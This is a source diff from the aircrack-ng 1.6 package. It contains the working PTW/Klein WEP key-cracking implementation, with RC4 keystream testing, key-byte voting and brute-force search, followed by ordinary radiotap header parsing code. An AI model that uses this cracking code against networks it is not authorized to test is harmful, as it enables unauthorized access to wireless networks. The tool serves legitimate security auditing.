+		"movq " keystream_ ", %q6       \n\t"
+
+		// clear some registers
+		"xorq  %q2, %q2               \n\t" // j = 0
+		"xorq  %q0, %q0               \n\t" // result
+
+#define RC4TEST_LOOP(offset)                                                   \
+	"movl 4*" offset "(" state "), %k5\n\t" /* s1 = state[i]         */        \
+	"leal (%q5,%q2,1), %k4        \n\t" /*                       */            \
+	"movzbl %b4, %k2              \n\t" /* j += s1               */            \
+	"movl (" state ",%q2,4), %k1    \n\t" /* s2 = state[j]         */          \
+	"movl %k1, 4*" offset "(" state ")\n\t" /* state[i] = s2         */        \
+	"movl %k5, (" state ",%q2,4)    \n\t" /* state[j] = s1         */          \
+	"addb %b1, %b5                \n\t" /* s1 += s2;             */            \
+	"movb (" state ",%q5,4), %b3    \n\t" /* ret = state[s1]       */          \
+	"cmpb %b3, " offset "-1(%q6)    \n\t" /* ret == keystream[i-1] */          \
+	"jne .ret                     \n\t"
+
+		RC4TEST_LOOP("1") RC4TEST_LOOP("2") RC4TEST_LOOP("3") RC4TEST_LOOP("4")
+			RC4TEST_LOOP("5") RC4TEST_LOOP("6")
+
+#undef RC4TEST_LOOP
+
+				"addb $1, %b0                 \n\t"
+				".ret:                        \n\t"
+
+				// restore stack
+				"movq -8(%%rsp), %%rsp        \n\t"
+
+		: "=&r"(idx),
+		  "=&r"(i),
+		  "=&r"(j),
+		  "+r"(key),
+		  "+r"(keylen),
+		  "+r"(iv),
+		  "+r"(keystream),
+		  "=&r"(scratch1),
+		  "=&r"(scratch2)
+		: "m"(x0123[0]), "m"(x4444[0])
+		: "xmm0", "xmm1");
+#undef state
+#undef keybuf
+#undef keystream_
+
+	return idx;
+}
+#endif
+
+// RC4 key setup
+static void rc4init(uint8_t * key, int keylen, rc4state * state)
+{
+	REQUIRE(key != NULL);
+	REQUIRE(keylen > 0 && keylen < INT_MAX);
+	REQUIRE(state != NULL);
+
+	int i;
+	unsigned char j;
+	uint8_t tmp;
+	int idx = 0;
+	memcpy(state->s, &rc4initial, sizeof(rc4initial));
+	j = 0;
+	for (i = 0; i < n; i++)
+	{
+		/*  this should be:
+			j = (j + state->s[i] + key[i % keylen]) % n;
+			but as "j" is declared as unsigned char and n equals 256,
+			we can "optimize" it
+		*/
+		j = (j + state->s[i] + key[idx]);
+		if (++idx == keylen) idx = 0;
+		tmp = state->s[i];
+		state->s[i] = state->s[j];
+		state->s[j] = tmp;
+	}
+	state->i = 0;
+	state->j = 0;
+}
+
+// RC4 key stream generation
+static uint8_t rc4update(rc4state * state)
+{
+	REQUIRE(state != NULL);
+
+	uint8_t tmp;
+	uint8_t k;
+	state->i++;
+	state->j += state->s[state->i];
+	tmp = state->s[state->i];
+	state->s[state->i] = state->s[state->j];
+	state->s[state->j] = tmp;
+	k = state->s[state->i] + state->s[state->j];
+
+	return state->s[k];
+}
+
+static int rc4test(uint8_t * key, int keylen, uint8_t * iv, uint8_t * keystream)
+{
+	REQUIRE(key != NULL);
+	REQUIRE(keylen > 0);
+	REQUIRE(iv != NULL);
+	REQUIRE(keystream != NULL);
+
+	uint8_t keybuf[PTW_KSBYTES];
+	rc4state rc4state;
+	int j;
+	memcpy(&keybuf[IVBYTES], key, keylen);
+	memcpy(keybuf, iv, IVBYTES); //-V512
+	rc4init(keybuf, keylen + IVBYTES, &rc4state);
+	for (j = 0; j < TESTBYTES; j++)
+	{
+		if ((rc4update(&rc4state) ^ keystream[j]) != 0)
+		{
+			return 0;
+		}
+	}
+	return 1;
+}
+
+// For sorting
+static int comparesorthelper(const void * ina, const void * inb)
+{
+	REQUIRE(ina != NULL);
+	REQUIRE(inb != NULL);
+
+	sorthelper * a = (sorthelper *) ina;
+	sorthelper * b = (sorthelper *) inb;
+	return a->distance - b->distance;
+}
+
+/*
+ * Guess the values for sigma_i
+ * ivlen - how long was the iv (is used differently in original klein attack)
+ * iv - IV which was used for this packet
+ * keystream - keystream recovered
+ * result - buffer for the values of sigma_i
+ * kb - how many keybytes should be guessed
+ */
+static void guesskeybytes(
+	int ivlen, uint8_t * iv, uint8_t * keystream, uint8_t * result, int kb)
+{
+	REQUIRE(iv != NULL);
+	REQUIRE(keystream != NULL);
+	REQUIRE(result != NULL);
+
+	uint32_t state[n];
+	uint8_t j = 0;
+	uint8_t tmp;
+	int i;
+	int jj = ivlen;
+	uint8_t ii;
+	uint8_t s = 0;
+	memcpy(state, &rc4initial, sizeof(rc4initial));
+	for (i = 0; i < ivlen; i++)
+	{
+		j += state[i] + iv[i];
+		tmp = state[i];
+		state[i] = state[j];
+		state[j] = tmp;
+	}
+	for (i = 0; i < kb; i++)
+	{
+		tmp = jj - keystream[jj - 1];
+		ii = 0;
+		while (tmp != state[ii])
+		{
+			ii++;
+		}
+		s += state[jj];
+		ii -= (j + s);
+		result[i] = ii;
+		jj++;
+	}
+	return;
+}
+
+/*
+ * Is a guessed key correct?
+ */
+static int correct(PTW_attackstate * state, uint8_t * key, int keylen)
+{
+	REQUIRE(state != NULL);
+	REQUIRE(key != NULL && keylen > 0);
+
+	int i;
+	int k;
+
+	// We need at least 3 sessions to be somehow certain
+	if (state->sessions_collected < 3)
+	{
+		return 0;
+	}
+
+	tried++;
+
+	k = rand() % (state->sessions_collected - 10);
+	for (i = k; i < k + 10; i++)
+	{
+		if (!state->rc4test(key,
+							keylen,
+							state->sessions[i].iv,
+							state->sessions[i].keystream))
+			return 0;
+	}
+	return 1;
+}
+
+/*
+ * Calculate the squaresum of the errors for both distributions
+ */
+static void getdrv(PTW_tableentry orgtable[][n],
+				   int keylen,
+				   double * normal,
+				   double * ausreiser)
+{
+	int i, j;
+	int numvotes = 0;
+	double e;
+	double e2;
+	double emax;
+	double help = 0.0;
+	double maxhelp = 0;
+	double maxi = 0;
+	for (i = 0; i < n; i++)
+	{
+		numvotes += orgtable[0][i].votes;
+	}
+	e = (double) (numvotes) / n;
+	for (i = 0; i < keylen; i++)
+	{
+		emax = eval[i] * numvotes;
+		e2 = ((1.0 - eval[i]) / 255.0) * numvotes;
+		normal[i] = 0;
+		ausreiser[i] = 0;
+		maxhelp = 0;
+		maxi = 0;
+		for (j = 0; j < n; j++)
+		{
+			if (orgtable[i][j].votes > maxhelp)
+			{
+				maxhelp = orgtable[i][j].votes;
+				maxi = j;
+			}
+		}
+		for (j = 0; j < n; j++)
+		{
+			if (fabs(maxi - j) < FLT_EPSILON)
+			{
+				help = (1.0 - orgtable[i][j].votes / emax);
+			}
+			else
+			{
+				help = (1.0 - orgtable[i][j].votes / e2);
+			}
+			help = help * help;
+			ausreiser[i] += help;
+			help = (1.0 - orgtable[i][j].votes / e);
+			help = help * help;
+			normal[i] += help;
+		}
+	}
+}
+
+/*
+ * Guess a single keybyte
+ */
+static int doRound(PTW_tableentry sortedtable[][n],
+				   int keybyte,
+				   int fixat,
+				   uint8_t fixvalue,
+				   int * searchborders,
+				   uint8_t * key,
+				   int keylen,
+				   PTW_attackstate * state,
+				   uint8_t sum,
+				   int * strongbytes,
+				   int * bf,
+				   int validchars[][n])
+{
+	int i;
+	uint8_t tmp;
+
+	if (!opt.is_quiet && keybyte < 4)
+		show_wep_stats(keylen - 1, 0, keytable, searchborders, depth, tried);
+	if (keybyte > 0)
+	{
+		if (!validchars[keybyte - 1][key[keybyte - 1]])
+		{
+			return 0;
+		}
+	}
+	if (keybyte == keylen)
+	{
+		return correct(state, key, keylen);
+	}
+	else if (bf[keybyte] == 1)
+	{
+		for (i = 0; i < n; i++)
+		{
+			key[keybyte] = i;
+			if (doRound(sortedtable,
+						keybyte + 1,
+						fixat,
+						fixvalue,
+						searchborders,
+						key,
+						keylen,
+						state,
+						sum + i % n,
+						strongbytes,
+						bf,
+						validchars))
+			{
+				return 1;
+			}
+		}
+		return 0;
+	}
+	else if (keybyte == fixat)
+	{
+		key[keybyte] = fixvalue - sum;
+		return doRound(sortedtable,
+					   keybyte + 1,
+					   fixat,
+					   fixvalue,
+					   searchborders,
+					   key,
+					   keylen,
+					   state,
+					   fixvalue,
+					   strongbytes,
+					   bf,
+					   validchars);
+	}
+	else if (strongbytes[keybyte] == 1)
+	{
+		// printf("assuming byte %d to be strong\n", keybyte);
+		tmp = 3 + keybyte;
+		for (i = keybyte - 1; i >= 1; i--)
+		{
+			tmp += 3 + key[i] + i;
+			key[keybyte] = n - tmp;
+			if (doRound(sortedtable,
+						keybyte + 1,
+						fixat,
+						fixvalue,
+						searchborders,
+						key,
+						keylen,
+						state,
+						(n - tmp + sum) % n,
+						strongbytes,
+						bf,
+						validchars)
+				== 1)
+			{
+				printf("hit with strongbyte for keybyte %d\n", keybyte);
+				return 1;
+			}
+		}
+		return 0;
+	}
+	else
+	{
+		REQUIRE(searchborders != NULL);
+		REQUIRE(keybyte >= 0);
+
+		for (i = 0; i < searchborders[keybyte]; i++)
+		{
+			key[keybyte] = sortedtable[keybyte][i].b - sum;
+			if (!opt.is_quiet)
+			{
+				depth[keybyte] = i;
+				keytable[keybyte][i].b = key[keybyte];
+			}
+			if (doRound(sortedtable,
+						keybyte + 1,
+						fixat,
+						fixvalue,
+						searchborders,
+						key,
+						keylen,
+						state,
+						sortedtable[keybyte][i].b,
+						strongbytes,
+						bf,
+						validchars))
+			{
+				return 1;
+			}
+		}
+		return 0;
+	}
+}
+
+/*
+ * Do the actual computation of the key
+ */
+static int doComputation(PTW_attackstate * state,
+						 uint8_t * key,
+						 int keylen,
+						 PTW_tableentry table[][n],
+						 sorthelper * sh2,
+						 int * strongbytes,
+						 int keylimit,
+						 int * bf,
+						 int validchars[][n])
+{
+	int i, j;
+	int choices[KEYHSBYTES];
+	int prod;
+	int fixat;
+	int fixvalue;
+
+	if (!opt.is_quiet)
+		memcpy(keytable, table, sizeof(PTW_tableentry) * n * keylen);
+
+	for (i = 0; i < keylen; i++)
+	{
+		if (strongbytes[i] == 1)
+		{
+			choices[i] = i;
+		}
+		else
+		{
+			choices[i] = 1;
+		}
+	}
+	i = 0;
+	prod = 0;
+	fixat = -1;
+	fixvalue = 0;
+	max_tries = keylimit;
+
+	while (prod < keylimit)
+	{
+		if (doRound(table,
+					0,
+					fixat,
+					fixvalue,
+					choices,
+					key,
+					keylen,
+					state,
+					0,
+					strongbytes,
+					bf,
+					validchars)
+			== 1)
+		{
+			// printf("hit with %d choices\n", prod);
+			if (!opt.is_quiet)
+				show_wep_stats(keylen - 1, 1, keytable, choices, depth, tried);
+			return 1;
+		}
+		while ((i < keylen * (n - 1)) && ((strongbytes[sh2[i].keybyte] == 1)
+										  || (bf[sh2[i].keybyte] == 1)))
+		{
+			i++;
+		}
+		if (i >= (keylen * (n - 1)))
+		{
+			break;
+		}
+		choices[sh2[i].keybyte]++;
+		fixat = sh2[i].keybyte;
+		// printf("choices[%d] is now %d\n", sh2[i].keybyte,
+		// choices[sh2[i].keybyte]);
+		fixvalue = sh2[i].value;
+		prod = 1;
+		for (j = 0; j < keylen; j++)
+		{
+			prod *= choices[j];
+			if (bf[j] == 1)
+			{
+				prod *= n;
+			}
+		}
+
+		/*
+		do {
+			i++;
+		} while (strongbytes[sh2[i].keybyte] == 1);
+		*/
+		i++;
+
+		if (!opt.is_quiet)
+			show_wep_stats(keylen - 1, 0, keytable, choices, depth, tried);
+	}
+	if (!opt.is_quiet)
+		show_wep_stats(keylen - 1, 1, keytable, choices, depth, tried);
+	return 0;
+}
+
+/*
+ * Guess which key bytes could be strong and start actual computation of the key
+ */
+int PTW_computeKey(PTW_attackstate * state,
+				   uint8_t * keybuf,
+				   int keylen,
+				   int testlimit,
+				   int * bf,
+				   int validchars[][n],
+				   int attacks)
+{
+	REQUIRE(state != NULL);
+
+	int strongbytes[KEYHSBYTES];
+	double normal[KEYHSBYTES];
+	double ausreisser[KEYHSBYTES];
+	doublesorthelper helper[KEYHSBYTES];
+	int simple, onestrong, twostrong;
+	int i, j;
+#ifdef USE_AMD64_RC4_OPTIMIZED
+	/*
+	 * The 64-bit SSE2-optimized rc4test() requires this buffer to be
+	 * aligned at 3 bytes.
+	 */
+	uint8_t fullkeybuf_unaligned[PTW_KSBYTES + 13] __attribute__((aligned(16)));
+	uint8_t * fullkeybuf = &fullkeybuf_unaligned[13];
+#else
+	uint8_t fullkeybuf[PTW_KSBYTES];
+#endif
+	uint8_t guessbuf[PTW_KSBYTES];
+	sorthelper(*sh)[n - 1];
+	PTW_tableentry(*table)[n] = alloca(sizeof(PTW_tableentry) * n * keylen);
+	ALLEGE(table != NULL);
+
+#ifdef USE_AMD64_RC4_OPTIMIZED
+	/*
+	 * sse2-optimized rc4test() function for amd64 only works
+	 * for keylen == 5 or keylen == 13
+	 */
+	if (keylen == 5 || keylen == 13)
+		state->rc4test = rc4test_amd64_sse2;
+	else
+#endif
+		state->rc4test = rc4test;
+
+	tried = 0;
+	sh = NULL;
+
+	if (!(attacks & NO_KLEIN))
+	{
+		// Try the original klein attack first
+		for (i = 0; i < keylen; i++)
+		{
+			memset(&table[i][0], 0, sizeof(PTW_tableentry) * n);
+			for (j = 0; j < n; j++)
+			{
+				table[i][j].b = j;
+			}
+			for (j = 0; j < state->packets_collected; j++)
+			{
+				// fullkeybuf[0] = state->allsessions[j].iv[0];
+				memcpy(
+					fullkeybuf, state->allsessions[j].iv, 3 * sizeof(uint8_t));
+				guesskeybytes(i + 3,
+							  fullkeybuf,
+							  state->allsessions[j].keystream,
+							  guessbuf,
+							  1);
+				table[i][guessbuf[0]].votes += state->allsessions[j].weight;
+			}
+			qsort(&table[i][0], n, sizeof(PTW_tableentry), &compare);
+			j = 0;
+			while (!validchars[i][table[i][j].b])
+			{
+				j++;
+			}
+			// printf("guessing i = %d, b = %d\n", i, table[0][0].b);
+			fullkeybuf[i + 3] = table[i][j].b;
+		}
+		if (correct(state, &fullkeybuf[3], keylen))
+		{
+			memcpy(keybuf, &fullkeybuf[3], keylen * sizeof(uint8_t));
+			// printf("hit without correction\n");
+			return (FAILURE);
+		}
+	}
+
+	if (!(attacks & NO_PTW))
+	{
+		memcpy(table, state->table, sizeof(PTW_tableentry) * n * keylen);
+
+		onestrong = (testlimit / 10) * 2;
+		twostrong = (testlimit / 10) * 1;
+		simple = testlimit - onestrong - twostrong;
+
+		// now, sort the table
+		for (i = 0; i < keylen; i++)
+		{
+			qsort(&table[i][0], n, sizeof(PTW_tableentry), &compare);
+			strongbytes[i] = 0;
+		}
+
+		sh = alloca(sizeof(sorthelper) * (n - 1) * keylen);
+		ALLEGE(sh != NULL);
+
+		for (i = 0; i < keylen; i++)
+		{
+			for (j = 1; j < n; j++)
+			{
+				sh[i][j - 1].distance = table[i][0].votes - table[i][j].votes;
+				sh[i][j - 1].value = table[i][j].b;
+				sh[i][j - 1].keybyte = i;
+			}
+		}
+		qsort(sh, (n - 1) * keylen, sizeof(sorthelper), &comparesorthelper);
+
+		if (doComputation(state,
+						  keybuf,
+						  keylen,
+						  table,
+						  (sorthelper *) sh,
+						  strongbytes,
+						  simple,
+						  bf,
+						  validchars))
+		{
+			return (FAILURE);
+		}
+
+		// Now one strong byte
+		getdrv(state->table, keylen, normal, ausreisser);
+		for (i = 0; i < keylen - 1; i++)
+		{
+			helper[i].keybyte = i + 1;
+			helper[i].difference = normal[i + 1] - ausreisser[i + 1];
+		}
+		qsort(helper,
+			  keylen - 1,
+			  sizeof(doublesorthelper),
+			  &comparedoublesorthelper);
+		// do not use bf-bytes as strongbytes
+		i = 0;
+		while (bf[helper[i].keybyte] == 1)
+		{
+			i++;
+		}
+		strongbytes[helper[i].keybyte] = 1;
+		if (doComputation(state,
+						  keybuf,
+						  keylen,
+						  table,
+						  (sorthelper *) sh,
+						  strongbytes,
+						  onestrong,
+						  bf,
+						  validchars))
+		{
+			return (FAILURE);
+		}
+
+		// two strong bytes
+		i++;
+		while (bf[helper[i].keybyte] == 1)
+		{
+			i++;
+		}
+		strongbytes[helper[i].keybyte] = 1;
+		if (doComputation(state,
+						  keybuf,
+						  keylen,
+						  table,
+						  (sorthelper *) sh,
+						  strongbytes,
+						  twostrong,
+						  bf,
+						  validchars))
+		{
+			return (FAILURE);
+		}
+	}
+	return (SUCCESS);
+}
+
+/*
+ * Add a new session to the attack
+ * state - state of attack
+ * iv - IV used in the session
+ * keystream - recovered keystream from the session
+ */
+int PTW_addsession(PTW_attackstate * state,
+				   uint8_t * iv,
+				   uint8_t * keystream,
+				   int * weight,
+				   int total)
+{
+	REQUIRE(state != NULL);
+	REQUIRE(iv != NULL);
+	REQUIRE(keystream != NULL);
+	REQUIRE(weight != NULL);
+
+	int i, j;
+	int il;
+	int ir;
+	uint8_t buf[PTW_KEYHSBYTES];
+
+	i = (iv[0] << 16) | (iv[1] << 8) | (iv[2]);
+	il = i / 8;
+	ir = 1 << (i % 8);
+	if ((state->seen_iv[il] & ir) == 0)
+	{
+		state->seen_iv[il] |= ir;
+		for (j = 0; j < total; j++)
+		{
+			state->packets_collected++;
+			guesskeybytes(
+				IVBYTES, iv, &keystream[KSBYTES * j], buf, PTW_KEYHSBYTES);
+			for (i = 0; i < KEYHSBYTES; i++)
+			{
+				state->table[i][buf[i]].votes += weight[j];
+			}
+			if (state->allsessions_size < state->packets_collected)
+			{
+				state->allsessions_size = state->allsessions_size << 1;
+				PTW_session * tmp_allsessions
+					= realloc(state->allsessions,
+							  state->allsessions_size * sizeof(PTW_session));
+				ALLEGE(tmp_allsessions != NULL);
+				state->allsessions = tmp_allsessions;
+			}
+			memcpy(state->allsessions[state->packets_collected - 1].iv,
+				   iv,
+				   IVBYTES);
+			memcpy(state->allsessions[state->packets_collected - 1].keystream,
+				   &keystream[KSBYTES * j],
+				   KSBYTES);
+			state->allsessions[state->packets_collected - 1].weight = weight[j];
+		}
+		if ((state->sessions_collected < CONTROLSESSIONS))
+		{
+			memcpy(state->sessions[state->sessions_collected].iv, iv, IVBYTES);
+			memcpy(state->sessions[state->sessions_collected].keystream,
+				   keystream,
+				   KSBYTES);
+			state->sessions_collected++;
+		}
+
+		return (FAILURE);
+	}
+	else
+	{
+		return (SUCCESS);
+	}
+}
+
+/*
+ * Allocate a new attackstate
+ */
+PTW_attackstate * PTW_newattackstate(void)
+{
+	int i, k;
+	PTW_attackstate * state = NULL;
+	state = malloc(sizeof(PTW_attackstate));
+	ALLEGE(state != NULL);
+	memset(state, 0, sizeof(PTW_attackstate));
+	for (i = 0; i < PTW_KEYHSBYTES; i++)
+	{
+		for (k = 0; k < n; k++)
+		{
+			state->table[i][k].b = k;
+		}
+	}
+	state->allsessions = malloc(4096 * sizeof(PTW_session));
+	ALLEGE(state->allsessions != NULL);
+	state->allsessions_size = 4096;
+
+	return state;
+}
+
+/*
+ * Free an allocated attackstate
+ */
+void PTW_freeattackstate(PTW_attackstate * state)
+{
+	free(state->allsessions);
+	free(state);
+	return;
+}

aircrack-ng-1.6.tar.gz/lib/radiotap Added

aircrack-ng-1.6.tar.gz/lib/radiotap/.gitignore Added

aircrack-ng-1.6.tar.gz/lib/radiotap/CMakeLists.txt Added

aircrack-ng-1.6.tar.gz/lib/radiotap/COPYING Changed

aircrack-ng-1.6.tar.gz/lib/radiotap/check Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/0.bin Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/0.out Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/00.bin Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/00.out Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/0fcs.args Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/0fcs.bin Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/0fcs.out Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/0v0-2.bin Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/0v0-2.out Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/0v0-3.bin Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/0v0-3.out Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/0v0-4.bin Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/0v0-4.out Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/0v0.bin Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/0v0.out Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/1.bin Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/1.out Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/check.sh Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/malformed-vendor.bin Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/malformed-vendor.out Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/unparsed-vendor.bin Added

aircrack-ng-1.6.tar.gz/lib/radiotap/check/unparsed-vendor.out Added

aircrack-ng-1.6.tar.gz/lib/radiotap/parse.c Added

@@ -0,0 +1,169 @@
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/mman.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <errno.h>
+#include <string.h>
+#if defined(__APPLE__)
+#include <machine/endian.h>
+#else
+#include <endian.h>
+#endif
+
+#include "radiotap_iter.h"
+
+static int fcshdr = 0;
+
+static const struct radiotap_align_size align_size_000000_00[] = {
+	[0] = { .align = 1, .size = 4, },
+	[52] = { .align = 1, .size = 4, },
+};
+
+static const struct ieee80211_radiotap_namespace vns_array[] = {
+	{
+		.oui = 0x000000,
+		.subns = 0,
+		.n_bits = sizeof(align_size_000000_00),
+		.align_size = align_size_000000_00,
+	},
+};
+
+static const struct ieee80211_radiotap_vendor_namespaces vns = {
+	.ns = vns_array,
+	.n_ns = sizeof(vns_array)/sizeof(vns_array[0]),
+};
+
+static void print_radiotap_namespace(struct ieee80211_radiotap_iterator *iter)
+{
+	switch (iter->this_arg_index) {
+	case IEEE80211_RADIOTAP_TSFT:
+		printf("\tTSFT: %llu\n", le64toh(*(unsigned long long *)iter->this_arg));
+		break;
+	case IEEE80211_RADIOTAP_FLAGS:
+		printf("\tflags: %02x\n", *iter->this_arg);
+		break;
+	case IEEE80211_RADIOTAP_RATE:
+		printf("\trate: %lf\n", (double)*iter->this_arg/2);
+		break;
+	case IEEE80211_RADIOTAP_CHANNEL:
+	case IEEE80211_RADIOTAP_FHSS:
+	case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
+	case IEEE80211_RADIOTAP_DBM_ANTNOISE:
+	case IEEE80211_RADIOTAP_LOCK_QUALITY:
+	case IEEE80211_RADIOTAP_TX_ATTENUATION:
+	case IEEE80211_RADIOTAP_DB_TX_ATTENUATION:
+	case IEEE80211_RADIOTAP_DBM_TX_POWER:
+	case IEEE80211_RADIOTAP_ANTENNA:
+	case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
+	case IEEE80211_RADIOTAP_DB_ANTNOISE:
+	case IEEE80211_RADIOTAP_TX_FLAGS:
+		break;
+	case IEEE80211_RADIOTAP_RX_FLAGS:
+		if (fcshdr) {
+			printf("\tFCS in header: %.8x\n",
+				le32toh(*(uint32_t *)iter->this_arg));
+			break;
+		}
+		printf("\tRX flags: %#.4x\n",
+			le16toh(*(uint16_t *)iter->this_arg));
+		break;
+	case IEEE80211_RADIOTAP_RTS_RETRIES:
+	case IEEE80211_RADIOTAP_DATA_RETRIES:
+		break;
+	default:
+		printf("\tBOGUS DATA\n");
+		break;
+	}
+}
+
+static void print_test_namespace(struct ieee80211_radiotap_iterator *iter)
+{
+	switch (iter->this_arg_index) {
+	case 0:
+	case 52:
+		printf("\t00:00:00-00|%d: %.2x/%.2x/%.2x/%.2x\n",
+			iter->this_arg_index,
+			*iter->this_arg, *(iter->this_arg + 1),
+			*(iter->this_arg + 2), *(iter->this_arg + 3));
+		break;
+	default:
+		printf("\tBOGUS DATA - vendor ns %d\n", iter->this_arg_index);
+		break;
+	}
+}
+
+static const struct radiotap_override overrides[] = {
+	{ .field = 14, .align = 4, .size = 4, }
+};
+
+int main(int argc, char *argv[])
+{
+	struct ieee80211_radiotap_iterator iter;
+	struct stat statbuf;
+	int fd, err, fnidx = 1, i;
+	void *data;
+
+	if (argc != 2 && argc != 3) {
+		fprintf(stderr, "usage: parse [--fcshdr] <file>\n");
+		fprintf(stderr, "	--fcshdr: read bit 14 as FCS\n");
+		return 2;
+	}
+
+	if (strcmp(argv[1], "--fcshdr") == 0) {
+		fcshdr = 1;
+		fnidx++;
+	}
+
+	fd = open(argv[fnidx], O_RDONLY);
+	if (fd < 0) {
+		fprintf(stderr, "cannot open file %s\n", argv[fnidx]);
+		return 2;
+	}
+
+	if (fstat(fd, &statbuf)) {
+		perror("fstat");
+		return 2;
+	}
+
+	data = mmap(NULL, statbuf.st_size, PROT_READ, MAP_SHARED, fd, 0);
+
+	err = ieee80211_radiotap_iterator_init(&iter, data, statbuf.st_size, &vns);
+	if (err) {
+		printf("malformed radiotap header (init returns %d)\n", err);
+		return 3;
+	}
+
+	if (fcshdr) {
+		iter.overrides = overrides;
+		iter.n_overrides = sizeof(overrides)/sizeof(overrides[0]);
+	}
+
+	while (!(err = ieee80211_radiotap_iterator_next(&iter))) {
+		if (iter.this_arg_index == IEEE80211_RADIOTAP_VENDOR_NAMESPACE) {
+			printf("\tvendor NS (%.2x-%.2x-%.2x:%d, %d bytes)\n",
+				iter.this_arg[0], iter.this_arg[1],
+				iter.this_arg[2], iter.this_arg[3],
+				iter.this_arg_size - 6);
+			for (i = 6; i < iter.this_arg_size; i++) {
+				if (i % 8 == 6)
+					printf("\t\t");
+				else
+					printf(" ");
+				printf("%.2x", iter.this_arg[i]);
+			}
+			printf("\n");
+		} else if (iter.is_radiotap_ns)
+			print_radiotap_namespace(&iter);
+		else if (iter.current_namespace == &vns_array[0])
+			print_test_namespace(&iter);
+	}
+
+	if (err != -ENOENT) {
+		printf("malformed radiotap data\n");
+		return 3;
+	}
+
+	return 0;
+}

aircrack-ng-1.6.tar.gz/lib/radiotap/platform.h Added

@@ -0,0 +1,72 @@
+#include <stddef.h>
+#include <errno.h>
+#include <string.h>
+
+#if defined(linux) || defined(Linux) || defined(__linux__) || defined(__linux) \
+        || defined(__gnu_linux__)
+#include <endian.h>
+#endif
+
+#if defined(__CYGWIN32__) || defined(CYGWIN)
+#include <asm/byteorder.h>
+#include <endian.h>
+#endif
+
+#if defined(__APPLE__)
+#include <machine/endian.h>
+#endif
+
+#if defined(__FreeBSD__) || defined(__DragonFly__) || defined(__OpenBSD__) || defined(__MidnightBSD__) || defined(__NetBSD__)
+#include <sys/endian.h>
+#include <sys/types.h>
+#endif
+
+#if defined(__SVR4) && defined(__sun__)
+#include <sys/byteorder.h>
+#include <sys/types.h>
+#endif
+
+#ifndef le16_to_cpu
+#define le16_to_cpu		le16toh
+#endif
+
+#ifndef le32_to_cpu
+#define le32_to_cpu		le32toh
+#endif
+
+#if defined(_MSC_VER)
+//  Microsoft
+#define EXPORT __declspec(dllexport)
+#define IMPORT __declspec(dllimport)
+#elif defined(__GNUC__) || defined(__llvm__) || defined(__clang__) || defined(__INTEL_COMPILER)
+#define EXPORT __attribute__((visibility("default")))
+#define IMPORT
+#else
+//  do nothing and hope for the best?
+#define EXPORT
+#define IMPORT
+#pragma warning Unknown dynamic link import/export semantics.
+#endif
+
+#if defined(RADIOTAP_FAST_UNALIGNED_ACCESS)
+#define get_unaligned(p)					\
+({								\
+	struct packed_dummy_struct {				\
+		typeof(*(p)) __val;				\
+	} __attribute__((packed)) *__ptr = (void *) (p);	\
+								\
+	__ptr->__val;						\
+})
+#else
+#define get_unaligned(p)					\
+({								\
+ typeof(*(p)) __tmp;						\
+ memmove(&__tmp, (p), sizeof(*(p)));				\
+ __tmp;								\
+})
+#endif
+
+#define get_unaligned_le16(p)	le16_to_cpu(get_unaligned((uint16_t *)(p)))
+#define get_unaligned_le32(p)	le32_to_cpu(get_unaligned((uint32_t *)(p)))
+
+#define UNALIGNED_ADDRESS(x) ((void*)(x))

aircrack-ng-1.6.tar.gz/lib/radiotap/radiotap.c Added

@@ -0,0 +1,395 @@
+/*
+ * Radiotap parser
+ *
+ * Copyright 2007		Andy Green <andy@warmcat.com>
+ * Copyright 2009		Johannes Berg <johannes@sipsolutions.net>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ *
+ * Alternatively, this software may be distributed under the terms of ISC
+ * license, see COPYING for more details.
+ */
+#include "radiotap_iter.h"
+#include "platform.h"
+
+/* function prototypes and related defs are in radiotap_iter.h */
+
+static const struct radiotap_align_size rtap_namespace_sizes[] = {
+	[IEEE80211_RADIOTAP_TSFT] = { .align = 8, .size = 8, },
+	[IEEE80211_RADIOTAP_FLAGS] = { .align = 1, .size = 1, },
+	[IEEE80211_RADIOTAP_RATE] = { .align = 1, .size = 1, },
+	[IEEE80211_RADIOTAP_CHANNEL] = { .align = 2, .size = 4, },
+	[IEEE80211_RADIOTAP_FHSS] = { .align = 2, .size = 2, },
+	[IEEE80211_RADIOTAP_DBM_ANTSIGNAL] = { .align = 1, .size = 1, },
+	[IEEE80211_RADIOTAP_DBM_ANTNOISE] = { .align = 1, .size = 1, },
+	[IEEE80211_RADIOTAP_LOCK_QUALITY] = { .align = 2, .size = 2, },
+	[IEEE80211_RADIOTAP_TX_ATTENUATION] = { .align = 2, .size = 2, },
+	[IEEE80211_RADIOTAP_DB_TX_ATTENUATION] = { .align = 2, .size = 2, },
+	[IEEE80211_RADIOTAP_DBM_TX_POWER] = { .align = 1, .size = 1, },
+	[IEEE80211_RADIOTAP_ANTENNA] = { .align = 1, .size = 1, },
+	[IEEE80211_RADIOTAP_DB_ANTSIGNAL] = { .align = 1, .size = 1, },
+	[IEEE80211_RADIOTAP_DB_ANTNOISE] = { .align = 1, .size = 1, },
